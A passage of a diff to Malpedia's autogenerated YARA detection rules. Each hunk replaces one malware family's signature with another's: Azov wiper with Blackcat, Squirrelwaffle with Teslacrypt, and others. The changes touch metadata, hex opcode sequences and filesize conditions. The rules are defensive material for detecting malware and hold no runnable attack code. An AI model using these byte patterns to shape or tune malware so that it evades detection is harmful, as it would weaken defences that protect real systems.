327680 } -rule MALPEDIA_Win_Tabmsgsql_Auto : FILE +rule MALPEDIA_Win_Mewsei_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "613cbea2-b3e6-59ad-af97-1c16f24a8ca2" + id = "add045ad-b22b-5690-8008-c500cb8eb696" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tabmsgsql_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mewsei" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mewsei_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "fea9841dfc3e899e511f6e59152b7eb3a1bf8ea0929e01fae7a33a41386cf162" + logic_hash = "25d3161d5bf746c6ecd7f709f19943bce6135e5cdd1b0f6ec1d26ee45065cb61" score = 75 quality = 75 tags = "FILE" @@ -112406,32 +112455,32 @@ rule MALPEDIA_Win_Tabmsgsql_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c404 ff15???????? 5e 33c0 5b 81c404d00700 } - $sequence_1 = { e9???????? 8b0d???????? 3bcb 0f8463feffff a1???????? 3bc3 0f8456feffff } - $sequence_2 = { 6a01 8bcb ff15???????? eb45 8b430c 83f81f 7704 } - $sequence_3 = { 83c9ff 33c0 8d951217fcff f2ae f7d1 2bf9 50 } - $sequence_4 = { 8b842430f50100 83c424 85c0 5f } - $sequence_5 = { 51 b9???????? 895dfc a2???????? e8???????? 3bc3 0f84d7000000 } - $sequence_6 = { f3a5 8bc8 33c0 83e103 f3a4 8bbc2438060000 83c9ff } - $sequence_7 = { 5b 83e103 b801000000 f3a4 } - $sequence_8 = { 3de8030000 a3???????? 7d0c c705????????e8030000 } - $sequence_9 = { 33c0 68???????? f2ae f7d1 2bf9 8d442434 8bd1 } + $sequence_0 = { 037dfc 897df0 0fb6780b c1e708 } + $sequence_1 = { c1e708 0fb6582c 0bfb 89b984000000 897dbc 8b7df0 337dfc } + $sequence_2 = { 03de 8dbc3b56b7c7e8 0fb6580a c1c70c 037dfc 897df0 0fb6780b } + $sequence_3 = { 0f8278ffffff 5b 5f 8bc6 5e } + $sequence_4 = { 3bcf 7319 bf???????? 8d5101 2bf9 } + $sequence_5 = { c3 8b4d0c 85c9 7411 8bc1 } + $sequence_6 = { 6a00 50 68???????? 6a00 6a00 ffd6 50 } + $sequence_7 = { 8b08 8b511c 50 ffd2 3bc3 740a 83f801 } + $sequence_8 = { 33d2 25ff7f0000 f7f1 80c230 885305 c6430600 85ff } + $sequence_9 = { c1ea10 884708 8b4610 884f05 885706 8bc8 8bd0 } condition: - 7 of them and filesize < 163840 + 7 of them and filesize < 504832 } -rule MALPEDIA_Win_Azov_Wiper_Auto : FILE +rule MALPEDIA_Win_Blackcat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9d3c9489-8494-515f-a851-2efd685c079b" + id = "7d7e215c-b7ec-5d55-a8aa-0595745c47b1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.azov_wiper_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackcat_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "7b55d48ad9f56923d371b84a7be8f9204233f80fc6507fb08d7baa3b93540774" + logic_hash = "f613dd0b295abc7ed25049f8912ac5a26d116d8e5b2b8db308f5a3d66d3b2048" score = 75 quality = 75 tags = "FILE" @@ -112445,34 +112494,34 @@ rule MALPEDIA_Win_Azov_Wiper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4883ef01 75e6 488b05???????? 33c9 488b10 } - $sequence_1 = { 741e 488b05???????? bafe010000 488bcb 4c8b00 } - $sequence_2 = { 4889442420 41ff9258010000 488b8c2470080000 4885c9 7410 488b05???????? } - $sequence_3 = { 4c8b10 4883c8ff 0f1f00 66837c410200 488d4001 75f4 } - $sequence_4 = { 488d55f3 ffd0 4883ec08 48c7042400000000 } - $sequence_5 = { 488b0b 488b10 ff5250 488d5b08 4883ef01 75e6 488b05???????? } - $sequence_6 = { 488bce 4c8b10 41ff5240 4885c0 } - $sequence_7 = { 498943e0 488d055cfbffff 498943e8 488b05???????? 488bce } - $sequence_8 = { 488b3d???????? f20f10842460020000 488b4710 f20f5c4004 660f2f400c 7310 } - $sequence_9 = { 488b05???????? 498d8f00040000 48895c2430 4533c9 } + $sequence_0 = { 8d4701 31c9 31d2 89460c 4f c745f000000000 } + $sequence_1 = { 3c02 7351 88c4 8975cc } + $sequence_2 = { 8945e8 0f83a1000000 85db 0f8499000000 803c3b5f } + $sequence_3 = { 81f902010000 747b e9???????? 8d81d6c3ffff 83f802 726b 81f9ed350000 } + $sequence_4 = { 31f6 c70201000000 c7420400000000 894208 c7420c00000000 0fb788d6040000 } + $sequence_5 = { c1e203 662e0f1f840000000000 90 85d2 7411 8b39 83c108 } + $sequence_6 = { 0f1f840000000000 6690 55 89e5 } + $sequence_7 = { 8b450c 89d6 8a10 80c2e6 80fa05 7779 } + $sequence_8 = { 80c230 8894056bffffff 48 e9???????? } + $sequence_9 = { 83c40c 84c0 0f858b010000 8d4704 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 29981696 } -rule MALPEDIA_Win_Yty_Auto : FILE +rule MALPEDIA_Win_New_Ct_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b178a64d-90f2-5e14-9301-2d60f407465c" + id = "df99256a-ac37-54eb-b09f-1730ead584e4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yty" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yty_auto.yar#L1-L503" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.new_ct_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "ba7411fc89742deab8ac323283edaf67308d62adecd7c34f413e3b6a25925cab" + logic_hash = "9eac271e285948f56968d4730b1030e87fbe78a87c978d4507ea0ec6208dc34d" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -112480,81 +112529,36 @@ rule MALPEDIA_Win_Yty_Auto : FILE malpedia_rule_date = "20260105" malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" malpedia_version = "20251219" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { 0f840c000000 8365d8fe 8b7508 e9???????? c3 8b542408 8d420c } - $sequence_1 = { 64a300000000 8b7508 33ff 897dd8 } - $sequence_2 = { 8b5610 33c9 33c0 8d7910 } - $sequence_3 = { b901000000 e9???????? 8b5508 397d1c 7303 8d5508 } - $sequence_4 = { 5f 668910 8bc6 5b 8be5 5d c20400 } - $sequence_5 = { 8bfe 80ea13 b903000000 eb58 } - $sequence_6 = { 8b4c3138 33db 895de8 885def 8975e0 85c9 } - $sequence_7 = { 50 ffd2 ff15???????? 8a857bffffff 8b4df4 } - $sequence_8 = { 8b08 8b5108 50 ffd2 8b8568ffffff 8b08 } - $sequence_9 = { c645fc01 e8???????? 8b10 8b4a04 03c8 } - $sequence_10 = { 807def00 8b5de8 7503 83cb02 8b16 8b4a04 } - $sequence_11 = { 8bcf e8???????? 8b0e 8b5104 8b443238 } - $sequence_12 = { 8906 894604 894608 8945fc 56 c745f001000000 } - $sequence_13 = { 8bfe 80ea04 b904000000 eb23 } - $sequence_14 = { 397e14 7214 8a1402 8b3e 2ad1 } - $sequence_15 = { 7204 8b3e eb02 8bfe 8a1402 2ad1 80ea13 } - $sequence_16 = { 51 e8???????? 83c408 8bf0 6a0a } - $sequence_17 = { 50 e8???????? 83c40c 8d8de8fdffff 51 53 } - $sequence_18 = { 50 8bce c60600 e8???????? 8b5610 33c9 } - $sequence_19 = { 8d8de8fdffff 51 53 53 6a28 53 } - $sequence_20 = { 33c9 881407 bf10000000 40 3b4610 } - $sequence_21 = { c0ea02 8ac4 80e20f c0e004 } - $sequence_22 = { 8b07 eb02 8bc7 8b4de0 } - $sequence_23 = { c645fc07 e8???????? 8bf0 891f 6a08 c645fc0c e8???????? } - $sequence_24 = { 8b4c1938 895dd4 85c9 7405 8b01 ff5004 c745fc00000000 } - $sequence_25 = { 25ff000000 83c001 25fe010000 f20f593c85c0014600 660f122c85c0014600 } - $sequence_26 = { c70424???????? e8???????? 85c0 7424 c70424f4010000 e8???????? 83ec04 } - $sequence_27 = { 8b5508 83e23f 6bd230 8b0c8d00b04600 88441128 e9???????? 8b5508 } - $sequence_28 = { c74410e05c584600 8b42e0 8b4804 8d41e8 894411dc c745fc00000000 } - $sequence_29 = { 33f6 bf???????? 833cf584fe420001 751d 8d04f580fe4200 } - $sequence_30 = { 0f1000 0f1105???????? f30f7e4010 660fd605???????? e8???????? 8d8590bcf0ff } - $sequence_31 = { 0bc8 51 e8???????? 83c404 8d8dd4efffff 83bde8efffff10 } - $sequence_32 = { 83e3fc ba00000000 898c15a4feffff 83c204 } - $sequence_33 = { 01c8 0fb600 38c2 7410 c745e401000000 c745e000000000 eb18 } - $sequence_34 = { 8d8588feffff 890424 e8???????? 8d85bafeffff } - $sequence_35 = { c1fe05 c1e106 030cb5a0244300 eb02 8bca f641247f 759c } - $sequence_36 = { 39e8 741e c74424045c000000 893c24 } - $sequence_37 = { c78534ffffff00000000 6a00 50 e8???????? 83c404 8d8d38ffffff e8???????? } - $sequence_38 = { 3d04010000 7607 b801000000 eb33 c744240404010000 } - $sequence_39 = { 57 33ff ffb744fe4200 ff15???????? } - $sequence_40 = { 89e5 83ec28 c745eb00000000 c645ef00 c745f400000000 } - $sequence_41 = { 6a40 6a00 8d8590fcffff 50 e8???????? 83c40c } - $sequence_42 = { f3ab 8d4dfb e8???????? 8d4dfb e8???????? } - $sequence_43 = { 83f809 7d10 40 ba???????? 50 e8???????? } - $sequence_44 = { 8bec 8b4508 ff34c580fe4200 ff15???????? } - $sequence_45 = { ff15???????? 8d8d90bcf0ff e8???????? 8bf0 c645fc03 } - $sequence_46 = { 64a300000000 8b7510 56 ff15???????? 85c0 0f84cb010000 } - $sequence_47 = { 83e13f 6bd130 8b048500b04600 807c102900 7536 8b4d0c 3b4d14 } - $sequence_48 = { 8b45ec 3b45e0 7517 8b4508 0345e0 894508 } - $sequence_49 = { 8bf4 8b8578fcffff 50 ff15???????? 3bf4 e8???????? 8bf4 } - $sequence_50 = { 8b4d10 394de0 7752 037de0 8b45f0 8b55e8 8b048560cb4300 } - $sequence_51 = { 6a01 e8???????? ebd7 85ff } - $sequence_52 = { 3c5a 770f 0fbec1 0fb680d0ed4200 83e00f eb02 33c0 } - $sequence_53 = { e8???????? 85c0 756f 8b8328020000 } - $sequence_54 = { 898584fbffff 8d85e8fdffff 6808020000 50 } + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { 7428 a1???????? 8d8c2478020000 50 68???????? 68???????? } + $sequence_1 = { 83fe06 0f8f1f010000 83fe03 0f8e16010000 8b4508 803805 0f850a010000 } + $sequence_2 = { 81ec00040000 53 56 6888030000 33db } + $sequence_3 = { 8b8680030000 8d542414 52 03c7 6800400000 50 53 } + $sequence_4 = { 68???????? 8bce e8???????? 89b5b0f3ffff 89b5b4f3ffff 85f6 7410 } + $sequence_5 = { 8944242c 8d542430 89442430 51 89442438 52 89442440 } + $sequence_6 = { 50 68???????? 6a10 68???????? ffd3 } + $sequence_7 = { f3a4 8dbdccfdffff 83c9ff 33c0 f2ae f7d1 49 } + $sequence_8 = { 8b5508 8b420c 85c0 740f 8985c8f6ffff 50 } + $sequence_9 = { f3a4 b900010000 8dbc2470020000 f3ab } condition: - 7 of them and filesize < 1097728 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Zerocleare_Auto : FILE +rule MALPEDIA_Win_Helauto_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "44db0221-dc66-5a41-bbf8-146a25155baf" + id = "b795cd97-f81e-5b0c-b86f-eb6142e4a506" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zerocleare_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.helauto_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "e4821dd22695093410a23835df9e39372b43fe15a2de70debfb45b9cb2592dab" + logic_hash = "77b1dbe0537fbb57df2196994395215daf625d1b39e62bbfe2e9527b9343a123" score = 75 quality = 75 tags = "FILE" @@ -112568,34 +112572,34 @@ rule MALPEDIA_Win_Zerocleare_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d45d0 837de408 68???????? 0f4345d0 68000000c0 50 e8???????? } - $sequence_1 = { ff249d01c04000 8b46e4 3b42e4 744f 0fb6f8 0fb642e4 2bf8 } - $sequence_2 = { 8b049d40fd4400 f644082801 7469 56 } - $sequence_3 = { 8b0cb540fd4400 83c410 8985f4efffff 8bc2 8b95f4efffff } - $sequence_4 = { 6a05 e8???????? 83c404 6a00 ff74f704 ff34f7 } - $sequence_5 = { 56 8b7508 ff34b5109f4300 e8???????? 50 ff34b52c9f4300 8d4dec } - $sequence_6 = { 7cde 68???????? e8???????? 8b8504f8ffff } - $sequence_7 = { 83c404 89460c 83fa08 722e } - $sequence_8 = { 833d????????00 0f852ce4ffff 8d0dc0524400 ba1b000000 e9???????? a900000080 } - $sequence_9 = { c7401000000000 c7401407000000 668908 c645fc04 8b9530f7ffff 83fa08 727f } + $sequence_0 = { 33c0 8d7dc0 895dbc f3ab 8b4510 69c0f4010000 } + $sequence_1 = { 753b 6a08 be???????? 59 8d7d98 f3a5 } + $sequence_2 = { ff75f0 ff15???????? 8b45f4 8b7dec 2b4510 } + $sequence_3 = { 68???????? 8d85a8f9ffff 50 e8???????? 8d85a8f9ffff } + $sequence_4 = { 53 8d85a8f8ffff 68???????? 50 e8???????? } + $sequence_5 = { 50 6a1f ff75fc ffd6 8d45c8 57 50 } + $sequence_6 = { 53 53 6a01 53 8d8528feffff 53 } + $sequence_7 = { 59 0f85b3000000 53 6a08 } + $sequence_8 = { 6a01 58 c20c00 b8???????? e8???????? 81ec00010000 } + $sequence_9 = { 6a1f ff75fc 897dc4 ff15???????? 8b35???????? 804ddd01 } condition: - 7 of them and filesize < 42670080 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Revenant_Auto : FILE +rule MALPEDIA_Win_Warmcookie_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d3da3715-670e-5d1a-8c9a-150b3eadfd7c" + id = "0026322f-2256-5880-b6f0-ee27db7c6e54" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.revenant_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warmcookie" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warmcookie_auto.yar#L1-L234" license_url = "N/A" - logic_hash = "bc25d04495c8de2d240671fc2471b933071b7fc14621d4283ee86183238cabeb" + logic_hash = "f9b50e12d5d001e33fbadd9cf4f5cbc2e73544c65bdcaaf5cab4e22fb22bdceb" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -112607,32 +112611,47 @@ rule MALPEDIA_Win_Revenant_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41803c1c20 488d4301 7405 4889c3 ebeb 8d4b01 } - $sequence_1 = { 7592 41c744240801000000 b801000000 4881c458010000 } - $sequence_2 = { 31c9 488b2d???????? 4989f0 ffd5 4c8b35???????? 85c0 7521 } - $sequence_3 = { 488b542420 e8???????? 4c8b442428 31d2 488b4c2420 e8???????? } - $sequence_4 = { e8???????? 4885c0 4889c6 7465 } - $sequence_5 = { 4531c9 440fb74738 488b4c2448 e8???????? 4885c0 } - $sequence_6 = { f3a4 488b7c2438 8b4c2448 f3aa } - $sequence_7 = { 4889f1 ff15???????? b940000000 89c5 4889ea } - $sequence_8 = { ff15???????? 488d0dc82d0000 31f6 89c2 e8???????? e9???????? 837f3c00 } - $sequence_9 = { 89c5 4889ea 896c244c ff15???????? 448b44244c } + $sequence_0 = { 41b900000000 41b807000000 ba00000080 4889c1 } + $sequence_1 = { 48c744243800000000 c744243000000000 c744242803000000 48c744242000000000 41b900000000 } + $sequence_2 = { 41be01000000 4d85d2 0f8489010000 418b02 85c0 0f88c0060000 8d0480 } + $sequence_3 = { 4183fe03 0f87ff050000 4585f6 0f850a020000 41be01000000 4d85d2 } + $sequence_4 = { 41b902000000 41b800000000 ba00000000 4889c1 } + $sequence_5 = { 48896c2470 8944242c 48b8fffffffffdffffff 4889842480000000 31c0 6689842488000000 } + $sequence_6 = { 448b44244c 4989c4 4181f80080ffff 7470 } + $sequence_7 = { 4883c468 5b 415c c3 55 } + $sequence_8 = { 4181f80080ffff 7470 8b4c2448 4889c2 4989d9 e8???????? } + $sequence_9 = { 8b530c 85d2 0f8e1bffffff 01d0 89430c e9???????? 4157 } + $sequence_10 = { 4883ec28 e8???????? 3dff2f0000 0f97c0 } + $sequence_11 = { ba19000000 488b4c2438 ff15???????? 85c0 } + $sequence_12 = { ba18000000 4889c1 ffd3 85c0 } + $sequence_13 = { 85c0 7409 488b442428 48c1e814 } + $sequence_14 = { 488b01 ff9080000000 85c0 7815 } + $sequence_15 = { ff15???????? 25ff0f0000 8d88b80b0000 ff15???????? } + $sequence_16 = { 488b01 ff5010 ff15???????? 89f0 4883c458 } + $sequence_17 = { 8d8800040000 e8???????? 4889c3 4885c0 } + $sequence_18 = { 0fb6d1 488b0b ff15???????? 8b38 488bcb e8???????? 488b4c2448 } + $sequence_19 = { 85c0 7432 488d0c7d02000000 e8???????? 488bd8 4885c0 } + $sequence_20 = { 48ffc7 66393478 75f7 4885ff 740d 488d4c2420 } + $sequence_21 = { 440fb64101 410fb6540902 410fb6440802 4188440902 4188540802 0fb601 } + $sequence_22 = { 488bce e8???????? 488b7c2468 8bc3 } + $sequence_23 = { 4c8bc6 6683f822 744f 48ffc1 664289440420 } + $sequence_24 = { 488d542470 b901010000 ff15???????? 85c0 } condition: - 7 of them and filesize < 99328 + 7 of them and filesize < 331776 } -rule MALPEDIA_Win_Sparrow_Door_Auto : FILE +rule MALPEDIA_Win_Computrace_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "91053f9d-da7f-5861-a669-343fc4d9f35e" + id = "d022645b-4eeb-5507-b4bf-b64f930ec84b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sparrow_door_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.computrace_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "c57cb5bf7003c0c8f6009858f16b398bf1f07f6fd24e51a6f375d303f48a1e92" + logic_hash = "f20f4a4bfb7063221bca96073a60966b690b58a18a5add0eb3048df505777fc6" score = 75 quality = 75 tags = "FILE" @@ -112646,32 +112665,32 @@ rule MALPEDIA_Win_Sparrow_Door_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4c242c 33ed 03e8 13cb } - $sequence_1 = { ffd7 8b1d???????? 50 ffd3 3bc5 740c } - $sequence_2 = { 53 51 885c241c e8???????? 83c40c 6882050000 8d542454 } - $sequence_3 = { 83c414 8d542450 52 57 ff15???????? 85c0 0f8599feffff } - $sequence_4 = { 50 c684242401000000 e8???????? 68f3010000 8d8c241d030000 56 } - $sequence_5 = { 85c0 743c 8b442418 8d4c2414 51 6a0b } - $sequence_6 = { 53 55 8b6c240c 57 6a00 6880000000 6a03 } - $sequence_7 = { 8b35???????? ffd6 8b0d???????? 6a64 } - $sequence_8 = { 837c242064 0f8d58010000 d16c241c 7508 } - $sequence_9 = { 68ff1f0000 8d8c24c9000000 6a00 51 895c241c } + $sequence_0 = { 8b4628 8d5508 6a04 52 56 ffd0 } + $sequence_1 = { 7469 c7466c01000000 834e70ff 804e5c04 ff15???????? } + $sequence_2 = { 2bc7 7417 48 740f 48 } + $sequence_3 = { 8d442404 50 6a01 6a00 6a03 ff15???????? c20400 } + $sequence_4 = { 894c862c 8935???????? 5e 8bc3 5b } + $sequence_5 = { 3b0f 7cd3 c60600 2b750c 8937 5f 5e } + $sequence_6 = { 8845f3 33ff 397d14 7e1a } + $sequence_7 = { 56 8b35???????? 57 8b7d08 8d85f8feffff 50 } + $sequence_8 = { 7305 6681f22110 fecd 75f2 } + $sequence_9 = { ffb6401b0000 ff15???????? 8d86301b0000 50 8d45e4 50 } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Squirrelwaffle_Auto : FILE +rule MALPEDIA_Win_Teslacrypt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "870824b4-58bb-571d-92bf-60311c954be1" + id = "9b939144-964e-5aba-aac8-37aa145cbdf7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.squirrelwaffle_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.teslacrypt_auto.yar#L1-L176" license_url = "N/A" - logic_hash = "ca7cf3c3a665a3fb39ef07c14cbbf782e38d67a5236157091e835f3cda65f067" + logic_hash = "de3676df661439e8c55092a036c1132b34328a8e3d35af949d4b63145f8cc259" score = 75 quality = 75 tags = "FILE" @@ -112685,34 +112704,40 @@ rule MALPEDIA_Win_Squirrelwaffle_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f44ca 51 e8???????? 8b8690010000 47 } - $sequence_1 = { c645fc03 8d55cc 837de010 8b4b10 } - $sequence_2 = { 83c408 68???????? 6a14 6a18 } - $sequence_3 = { 40 84c9 75f9 2bc7 8d4db8 50 } - $sequence_4 = { 50 52 e8???????? 83c40c 8d7b40 ff734c ff15???????? } - $sequence_5 = { 8d45ed c7855cf7ffff00000000 c78560f7ffff0f000000 c6854cf7ffff00 3bf0 740f 2bc6 } - $sequence_6 = { 0f46c2 50 e8???????? 83c404 85c0 0f848c000000 8d7023 } - $sequence_7 = { 2bc2 3bc1 0f82d4000000 837f1410 7202 } - $sequence_8 = { 50 8b4508 50 03c1 } - $sequence_9 = { 837de010 8b4b10 8b75cc 0f43d6 } + $sequence_0 = { 31f7 897d04 31f9 894d08 } + $sequence_1 = { 31f7 89bdc4000000 31f9 898dc8000000 31ca 8995cc000000 89d0 } + $sequence_2 = { 31f9 894d08 31ca 89550c 89d0 } + $sequence_3 = { 33451c 89453c 51 52 89f2 c1c808 0fb6c8 } + $sequence_4 = { 31f7 89bda4000000 31f9 898da8000000 31ca 8995ac000000 89d0 } + $sequence_5 = { 3345f4 894514 3345f8 894518 3345fc 89451c 51 } + $sequence_6 = { 335d04 334d08 33550c 81ffa0000000 0f8452030000 81ffc0000000 0f84ac010000 } + $sequence_7 = { 334500 335d04 8b6c2418 894500 895d04 897508 897d0c } + $sequence_8 = { 83fa00 89442418 894c2414 89542410 7d23 8b442410 } + $sequence_9 = { 8b54244c 8916 c7460804000000 89442448 ffd1 83ec10 8b4c2448 } + $sequence_10 = { 8b442438 c70001000000 8b442428 c70002000000 } + $sequence_11 = { 894c243c 74b0 e8???????? 89e1 8901 c74104???????? e8???????? } + $sequence_12 = { 8b4c2460 ffd1 83ec08 8944240c } + $sequence_13 = { 8b4c2434 8b11 8b742438 29d6 8b7c243c } + $sequence_14 = { e8???????? 31c9 89c2 83c218 } + $sequence_15 = { 89442408 885c2407 88742406 7428 8b442408 83c001 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 1187840 } -rule MALPEDIA_Win_Disttrack_Auto : FILE +rule MALPEDIA_Win_Unidentified_071_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "656ce2d7-e23b-52b7-a17b-bd1f83c468f3" + id = "cfbea96e-4359-5ae7-941b-244ed79d12c2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.disttrack_auto.yar#L1-L269" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_071" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_071_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "1a87cbbf3cac3bb5395930782b27d52657176f4eea6766d20ecb09a08d9650c6" + logic_hash = "2aec891397e4f33ea521c1dfdd2bf39deb44b46ee917346f946ae37d0a5d367f" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -112724,49 +112749,32 @@ rule MALPEDIA_Win_Disttrack_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 6a00 6a00 6848000700 } - $sequence_1 = { e8???????? 83c404 50 e8???????? 83c404 68???????? ff15???????? } - $sequence_2 = { 53 ff15???????? 5d 5b 8bc7 5f 5e } - $sequence_3 = { ff15???????? 8d45dc 50 ff15???????? 8b4ddc } - $sequence_4 = { 57 e8???????? 6a07 e8???????? 59 c3 6a10 } - $sequence_5 = { 8b4204 8d8c24a4000000 894c2420 c7440434fcc24100 8d4c244c } - $sequence_6 = { ff15???????? 85c0 7406 8b4df0 51 ffd0 83ffff } - $sequence_7 = { 0f85a5000000 33d2 488d4c2470 448d4268 } - $sequence_8 = { 83c1ff 898d14f8ffff 8b9514f8ffff 8a4201 888513f8ffff } - $sequence_9 = { 48397d10 7430 488b4c2430 e8???????? 4c8bc0 488b542430 } - $sequence_10 = { 740c 837d1800 7406 837d1c00 751f } - $sequence_11 = { 8d8424fc000000 50 8d4c2450 e8???????? } - $sequence_12 = { 0f87260a0000 ff248597fa4000 33c0 838df4fbffffff } - $sequence_13 = { 32040e 6a00 8d55f0 52 } - $sequence_14 = { 85c0 750e 80fb2b 7409 80fb2f 0f858c000000 } - $sequence_15 = { 488d9c1de0010000 448be6 48895c2428 4963cc } - $sequence_16 = { e8???????? 85c0 75de 488bcb ff15???????? 33c0 488b8c2460020000 } - $sequence_17 = { 83c804 48397948 0f44d0 eb0e 488b4148 48f7d8 1bd2 } - $sequence_18 = { e8???????? 68???????? 8d4df4 51 c745f408f34100 e8???????? } - $sequence_19 = { 85c0 751a 488d156cb10000 41b810200100 488bcd e8???????? } - $sequence_20 = { c1fe05 c1e106 030cb540174200 eb02 8bca f641247f 759b } - $sequence_21 = { 33f6 56 51 50 52 e8???????? 8945b8 } - $sequence_22 = { c745fc00000000 e8???????? c745fcffffffff 8b5790 8b4204 c7443890b4c24100 } - $sequence_23 = { 8d5c0002 e8???????? 488d542430 448bd8 } - $sequence_24 = { 8b0c8d40174200 83e61f c1e606 89040e 8b45f8 e9???????? } - $sequence_25 = { e8???????? 408ac7 488b8d80020000 4833cc e8???????? 4c8d9c2490030000 498b5b10 } - $sequence_26 = { 8b149540174200 59 c1e006 59 8a4dff 80c901 884c0204 } + $sequence_0 = { 837c241002 740b 837c241003 7504 6a0b } + $sequence_1 = { a1???????? 0d00020000 a3???????? e8???????? } + $sequence_2 = { 56 55 e8???????? 8d4701 89742420 } + $sequence_3 = { c1e902 57 33ff 3b550c 0f47c8 85c9 7413 } + $sequence_4 = { 53 56 57 e8???????? 83c418 eb10 83f802 } + $sequence_5 = { 3bf3 7408 53 8bce e8???????? 83ed10 83eb10 } + $sequence_6 = { 0faf05???????? 53 56 8b35???????? } + $sequence_7 = { 8bec 8b550c 8b4d10 